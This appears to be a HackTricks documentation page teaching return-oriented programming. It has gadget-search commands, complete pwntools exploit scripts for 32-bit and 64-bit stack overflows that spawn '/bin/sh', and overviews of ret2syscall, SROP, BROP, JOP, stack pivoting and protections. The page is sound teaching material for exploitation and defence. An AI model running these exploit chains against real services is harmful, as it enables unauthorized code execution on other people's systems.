> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt
> Use this file to discover all available pages before exploring further.

# Return-Oriented Programming (ROP)

> Build exploit payloads from existing code fragments to bypass NX/DEP. Covers gadget finding, x86/x64 calling conventions, ROP chains, and advanced techniques such as ret2lib, ret2syscall, and JOP.

**Return-Oriented Programming (ROP)** is the standard technique for bypassing non-executable stack (NX/DEP) protections. Instead of injecting shellcode, an attacker reuses short instruction sequences — called **gadgets** — that already exist in the binary or its loaded libraries. Each gadget ends with a `ret` instruction, which pops the next address off the stack and transfers control there, enabling arbitrary gadget chains.

## How ROP works

<Steps>
  <Step title="Control the stack">
    Exploit a stack overflow (or equivalent) to overwrite the saved return address with the address of the first gadget.
  </Step>

  <Step title="Chain gadgets">
    Place gadget addresses and their associated data values sequentially on the stack. When each gadget's `ret` fires, it pops the next gadget address into the instruction pointer.
  </Step>

  <Step title="Execute the payload">
    The chain runs entirely within existing executable pages, defeating NX while achieving arbitrary computation — typically launching a shell or making a syscall.
  </Step>
</Steps>

## Finding gadgets

<Tabs>
  <Tab title="ROPgadget">
    ```bash theme={null}
    # Find all gadgets in a binary
    ROPgadget --binary ./vuln

    # Search for a specific gadget
    ROPgadget --binary ./vuln --search "pop rdi"

    # Include loaded libraries
    ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --search "pop rdi ; ret"
    ```
  </Tab>

  <Tab title="ropper">
    ```bash theme={null}
    pip3 install ropper
    ropper --file ./vuln --search "pop rdi"

    # For ARM/ARM64
    ropper --file libc.so --arch ARM64 --search "ldr x0"
    ```
  </Tab>

  <Tab title="pwntools ROP">
    ```python theme={null}
    from pwn import *

    binary = ELF('./vuln')
    libc   = ELF('/lib/x86_64-linux-gnu/libc.so.6')

    rop = ROP(binary)
    rop.call('puts', [binary.got['puts']])   # auto-resolve gadgets
    print(rop.dump())
    ```
  </Tab>
</Tabs>

## x86 (32-bit) ROP chain

On 32-bit x86, function arguments are passed on the stack. A `system("/bin/sh")` call needs `/bin/sh`'s address on the stack directly after the return address.

```python theme={null}
from pwn import *

binary     = context.binary = ELF('./vuln32')
p          = process(binary.path)

bin_sh     = next(binary.search(b'/bin/sh\x00'))
system_addr = 0xf7e12420   # known libc address (ASLR disabled)
ret_gadget  = 0x080484a6   # optional: ret for stack alignment
offset      = 44

rop_chain = [
    ret_gadget,    # alignment (optional)
    system_addr,
    0x41414141,    # placeholder return from system()
    bin_sh,        # argument: pointer to "/bin/sh"
]

payload = b'A' * offset + b''.join(p32(a) for a in rop_chain)
p.sendline(payload)
p.interactive()
```

## x64 (64-bit) ROP chain

On x86-64 (System V ABI), the first six integer arguments go in registers `RDI, RSI, RDX, RCX, R8, R9`. A `pop rdi; ret` gadget is the most important building block.

```python theme={null}
from pwn import *

binary    = context.binary = ELF('./vuln64')
libc      = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p         = process(binary.path)

bin_sh    = next(libc.search(b'/bin/sh\x00'))
system    = libc.symbols['system']

pop_rdi   = 0x0000000000401234   # pop rdi; ret
ret       = 0x000000000040101a   # ret  (for 16-byte stack alignment)
offset    = 40

rop_chain = [
    ret,           # align stack to 16 bytes before call
    pop_rdi,
    bin_sh,
    system,
]

payload = b'A' * offset + b''.join(p64(a) for a in rop_chain)
p.sendline(payload)
p.interactive()
```

<Warning>
  The x86-64 ABI requires the stack to be 16-byte aligned when `call` is executed. Insert a bare `ret` gadget before calling `system()` if the chain crashes with a SIGSEGV inside an SSE instruction.
</Warning>

## Common ROP sub-techniques

<AccordionGroup>
  <Accordion title="ret2lib — call libc functions">
    Set up registers/stack for a libc function (commonly `system("/bin/sh")`) and jump to it. Requires knowing the libc base address (defeat ASLR via an info leak first).
  </Accordion>

  <Accordion title="ret2syscall — direct syscall">
    Load `rax = 59` (execve), `rdi -> "/bin/sh"`, `rsi = 0`, `rdx = 0`, then reach a `syscall` gadget. Useful when libc addresses are unknown.

    ```python theme={null}
    # Typical x64 execve gadgets needed:
    # pop rax; ret
    # pop rdi; ret
    # pop rsi; ret
    # pop rdx; ret
    # syscall
    ```
  </Accordion>

  <Accordion title="ret2csu — universal gadgets">
    `__libc_csu_init` contains a reliable gadget pair that lets you control `RBX`, `RBP`, `R12`, `R13`, `R14`, `R15`, and call `[r12 + rbx*8]`. Available in nearly every dynamically linked x86-64 binary.
  </Accordion>

  <Accordion title="SROP — sigreturn-oriented programming">
    A single `sigreturn` syscall restores all registers from a crafted `sigreturn` frame on the stack. One gadget can set every register simultaneously, avoiding the need to find individual `pop reg; ret` gadgets.
  </Accordion>

  <Accordion title="BROP — blind ROP">
    Used when you have a stack overflow but no binary to analyse. Exploits a remote service that stays alive (e.g., a forking server) and probes for gadgets by observing whether the process crashes or continues.
  </Accordion>
</AccordionGroup>

## JOP — Jump-Oriented Programming

JOP replaces `ret` at the end of each gadget with an indirect `jmp` or `call`. This is common on ARM where `ret` is less universal.

```bash theme={null}
# Find JOP gadgets in ARM64 system libraries
ropper --file libsystem_c.dylib --arch ARM64 --search "ldr x0, [x0"
```

A typical ARM64 heap-overflow JOP chain:

1. An overwritten function pointer in the heap points to a gadget: `ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2`
2. Set `x0 + 0x20` → pointer to `/bin/sh` string
3. Set `x0 + 0x30` → address of `system`

## Stack pivoting

When the stack is too small for a full chain, pivot the stack pointer (`RSP`/`SP`) to a controlled region (heap, BSS, or a large input buffer).

```asm theme={null}
; Example pivot gadget (x64)
mov rsp, rax   ; point stack to attacker-controlled buffer
pop rbp
ret            ; continue executing ROP chain from new stack
```

## Protections against ROP

| Protection         | Effect on ROP                                                         |
| ------------------ | --------------------------------------------------------------------- |
| ASLR + PIE         | Randomises gadget addresses — requires info leak                      |
| Stack canaries     | Detects overflow before `ret` — must be bypassed separately           |
| CET / Shadow Stack | Hardware enforces that `ret` targets match the call stack             |
| Lack of gadgets    | Small or heavily stripped binaries may not have enough useful gadgets |
